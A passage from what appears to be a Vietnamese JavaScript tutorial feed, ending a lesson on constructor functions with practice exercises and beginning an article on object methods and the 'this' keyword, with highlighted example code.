cú pháp IFFE <code>new function(){...}</code></li> <li>Thường hàm khởi tạo không có <code>return</code>. Nếu hàm khởi tạo có <code>return</code> thì quy tắc là: <code>return</code> với một object sẽ trả về object đó, ngược lại thì trả về <code>this</code>.</li> <li>Bạn có thể định nghĩa phương thức trong hàm khởi tạo.</li> </ul> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Cho đoạn code sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token constant">A</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token operator">...</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token constant">B</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token operator">...</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">A</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">B</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a <span class="token operator">===</span> b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Có cách nào để tạo hàm <code>A</code> và <code>B</code> sao cho <code>new A() === new B()</code>?</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Đáp án là: <strong>Có</strong>.</p> <p>Để <code>new A() === new B()</code> là <code>true</code> thì hàm khởi tạo <code>A</code> và <code>B</code> phải trả về cùng một object.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span></span> <span class="gatsby-highlight-code-line"><span class="token keyword">function</span> <span class="token constant">A</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> obj<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span></span> <span class="gatsby-highlight-code-line"><span class="token keyword">function</span> <span class="token constant">B</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> obj<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span></span> <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">A</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">B</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a <span class="token operator">===</span> b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Viết hàm khởi tạo object <code>Calculator</code> với ba phương thức:</p> <ul> <li><code>read()</code>: sử dụng hàm <a href="/ham-tuong-tac-nguoi-dung-alert-confirm-prompt/"><code>prompt</code></a> đọc hai giá trị và lưu vào hai thuộc tính của object (giả sử người dùng nhập vào là số).</li> <li><code>add()</code>: trả về tổng của hai số đã nhập.</li> <li><code>mul()</code>: trả về tích của hai số đã nhập.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> calculator <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Calculator</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> calculator<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>calculator<span class="token punctuation">.</span><span class="token function">sum</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>calculator<span class="token punctuation">.</span><span class="token function">mul</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Calculator</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Phương thức read()</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">read</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>a <span class="token operator">=</span> <span class="token operator">+</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Nhập vào số a:"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>b <span class="token operator">=</span> <span class="token operator">+</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Nhập vào số b:"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Phương thức add()</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">add</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>a <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>b<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Phương thức mul()</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">mul</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>a <span class="token operator">*</span> <span class="token keyword">this</span><span class="token punctuation">.</span>b<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> calculator <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Calculator</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> calculator<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>calculator<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>calculator<span class="token punctuation">.</span><span class="token function">mul</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Chú ý:</strong> hàm <code>prompt</code> trả về kết quả là string. Vì vậy, mình thêm toán tử <code>+</code> đằng trước để <a href="/chuyen-doi-kieu-du-lieu-trong-javascript/">chuyển đổi kiểu dữ liệu</a> về number, trước khi gán cho <code>this.a</code> và <code>this.b</code>.</p> </div> </div> </div> <h3 id="bài-3" style="position:relative;"><a href="#b%C3%A0i-3" aria-label="bài 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 3</h3> <p>Viết hàm khởi tạo <code>Counter(startValue)</code> (giả sử <code>startValue</code> là số).</p> <p>Object tạo ra có những đặc điểm sau:</p> <ul> <li>Giá trị <code>startValue</code> được lưu vào thuộc tính <code>value</code>.</li> <li>Phương thức <code>read()</code> sử dụng hàm <code>prompt()</code> để yêu cầu người dùng nhập vào một số. Sau đó, giá trị số người dùng nhập sẽ được cộng dồn vào thuộc tính <code>value</code>.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> counter <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Counter</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> counter<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> counter<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>counter<span class="token punctuation">.</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// giá trị hiện tại của value</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Counter</span><span class="token punctuation">(</span><span class="token parameter">startValue</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>value <span class="token operator">=</span> startValue<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">read</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>value <span class="token operator">+=</span> <span class="token operator">+</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Nhập vào một số:"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> counter <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Counter</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> counter<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> counter<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>counter<span class="token punctuation">.</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// giá trị hiện tại của value</span></code></pre></div> </div> </div> </div>[email protected]<![CDATA[Phương thức của Object và this trong JavaScript]]><![CDATA[Như mình đã đề cập trong bài viết đầu tiên về object, object trong JavaScript dùng để biểu diễn một đối tượng cụ thể. Mà đối tượng không chỉ có các thuộc tính, đối tượng còn có…]]>https://completejavascript.com/phuong-thuc-object-va-this-trong-javascript/https://completejavascript.com/phuong-thuc-object-va-this-trong-javascript/<![CDATA[Object]]><![CDATA[Kiểu dữ liệu]]>Thu, 18 May 2017 05:00:00 GMT<p>Như mình đã đề cập trong bài viết đầu tiên về <a href="/object-la-gi-object-trong-javascript/">object</a>, object trong JavaScript dùng để biểu diễn một đối tượng cụ thể. Mà đối tượng không chỉ có các thuộc tính, đối tượng còn có <strong>hành động</strong>.</p> <p>Sau đây, mình sẽ tìm hiểu về <strong>phương thức của object</strong> và một từ khóa quan trọng, đó là <strong><code>this</code> trong JavaScript</strong>.</p> <h2 id="phương-thức-của-object" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-c%E1%BB%A7a-object" aria-label="phương thức của object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức của Object</h2> <p>Trong JavaScript, hành động của object được biểu diễn bởi <a href="/ham-la-gi-ham-trong-javascript/">hàm</a>. Ví dụ đối tượng <code>user</code> với hành động <code>sayHello()</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"28"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">user<span class="token punctuation">.</span><span class="token function-variable function">sayHello</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span><span class="token punctuation">;</span></span> user<span class="token punctuation">.</span><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello!</span></code></pre></div> <p>Trong ví dụ trên, mình sử dụng <a href="/function-expression-trong-javascript/">function expression</a> để tạo một hàm, rồi gán hàm đó cho thuộc tính <code>sayHello</code> của <code>user</code>.</p> <p>Tiếp theo, mình gọi <code>user.sayHello()</code>. Và kết quả là <code>Hello!</code> được hiển thị ra console.</p> <blockquote> <p>📝 Một hàm là thuộc tính của object thì nó được gọi là <strong>phương thức</strong>.</p> </blockquote> <p>Vì vậy, <code>sayHello</code> chính là một phương thức của object <code>user</code>.</p> <p>Ngoài cách sử dụng function expression như trên, bạn có thể dùng <strong>function declaration</strong> để khai báo hàm như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"28"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line">user<span class="token punctuation">.</span>sayHello <span class="token operator">=</span> sayHello<span class="token punctuation">;</span></span> user<span class="token punctuation">.</span><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello!</span></code></pre></div> <blockquote> <p>💡 Cách sử dụng object để biểu diễn đối tượng với các thuộc tính và hành động như trên gọi là <a href="https://vi.wikipedia.org/wiki/L%E1%BA%ADp_tr%C3%ACnh_h%C6%B0%E1%BB%9Bng_%C4%91%E1%BB%91i_t%C6%B0%E1%BB%A3ng"><strong>lập trình hướng đối tượng</strong></a> hay <strong>OOP</strong>.</p> </blockquote> <h2 id="cú-pháp-ngắn-gọn-khai-báo-phương-thức" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p-ng%E1%BA%AFn-g%E1%BB%8Dn-khai-b%C3%A1o-ph%C6%B0%C6%A1ng-th%E1%BB%A9c" aria-label="cú pháp ngắn gọn khai báo phương thức permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp ngắn gọn khai báo phương thức</h2> <p>Trong các ví dụ trên, mình khởi tạo object xong rồi mới định nghĩa thêm phương thức. Bạn cũng có thể <strong>định nghĩa phương thức</strong> từ khi khởi tạo object.</p> <p>Ví dụ khởi tạo object với phương thức:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"28"</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token function-variable function">sayHello</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> user<span class="token punctuation">.</span><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello!</span></code></pre></div> <p>Ngoài ra, bạn cũng có thể <strong>bỏ qua từ khóa <code>function</code></strong> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"28"</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> user<span class="token punctuation">.</span><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello!</span></code></pre></div> <p>Trên đây là một số kiến thức cơ bản về phương thức của object. Sau đây, mình tiếp tục tìm hiểu về từ khóa <code>this</code> trong JavaScript.</p> <h2 id="từ-khóa-this-trong-javascript" style="position:relative;"><a href="#t%E1%BB%AB-kh%C3%B3a-this-trong-javascript" aria-label="từ khóa this trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Từ khóa this trong JavaScript</h2> <p>Một trường hợp khá phổ biến đối với object là việc <strong>truy cập vào thuộc tính của object</strong> ngay bên trong phương thức.</p> <p>Ví dụ phương thức <code>sayHello</code> trên muốn truy cập và hiển thị giá trị của thuộc tính <code>name</code>. Để làm được điều này, bạn có thể sử dụng từ khóa <code>this</code>.</p> <p>Giá trị của <code>this</code> trong JavaScript chính là <strong>object gọi phương thức</strong> - đối tượng trước dấu chấm (<code>.</code>), ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"28"</span><span class="token punctuation">,</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">+</span> <span class="token string">" says Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">user<span class="token punctuation">.</span><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex says Hello!</span></span></code></pre></div> <p>Khi chương trình thực thi, giá trị của <code>this</code> chính là <code>user</code>. Hay nói cách khác <code>this.name</code> chính là <code>user.name</code>.</p> <p><strong>Vậy tại sao không sử dụng trực tiếp <code>user</code> bên trong phương thức <code>sayHello</code>?</strong></p> <p>Ví dụ sử dụng trực tiếp <code>user</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"28"</span><span class="token punctuation">,</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name <span class="token operator">+</span> <span class="token string">" says Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> user<span class="token punctuation">.</span><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex says Hello!</span></code></pre></div> <p>Kết quả vẫn <strong>đúng</strong>. Nhưng liệu vấn đề gì có thể xảy ra?</p> <p>Giả sử, bạn muốn <a href="/copy-object-trong-javascript/">copy object dạng tham chiếu</a> từ <code>user</code> sang <code>admin</code> rồi ghi đè giá trị của <code>user</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"28"</span><span class="token punctuation">,</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name <span class="token operator">+</span> <span class="token string">" says Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> admin <span class="token operator">=</span> user<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">user <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line">admin<span class="token punctuation">.</span><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token comment">// Uncaught TypeError: Cannot read properties of null (reading 'name')</span></span></code></pre></div> <p>Câu lệnh cuối cùng bị lỗi.</p> <p>Vì khi bạn gọi <code>admin.sayHello()</code>, bên trong phương thức <code>sayHello</code> đang gọi <code>user.name</code>. Mà giá trị <code>user</code> đã bị gán bằng <code>null</code>.</p> <p>Kết quả, bạn bị lỗi <strong>Uncaught TypeError: Cannot read properties of null (reading 'name')</strong>.</p> <blockquote> <p>Nếu bạn dùng <code>this.name</code> thì sẽ không bị lỗi trên. Vì <code>this</code> lúc này được hiểu là <code>admin</code>.</p> </blockquote> <h2 id="this-trong-javascript-không-được-bind" style="position:relative;"><a href="#this-trong-javascript-kh%C3%B4ng-%C4%91%C6%B0%E1%BB%A3c-bind" aria-label="this trong javascript không được bind permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 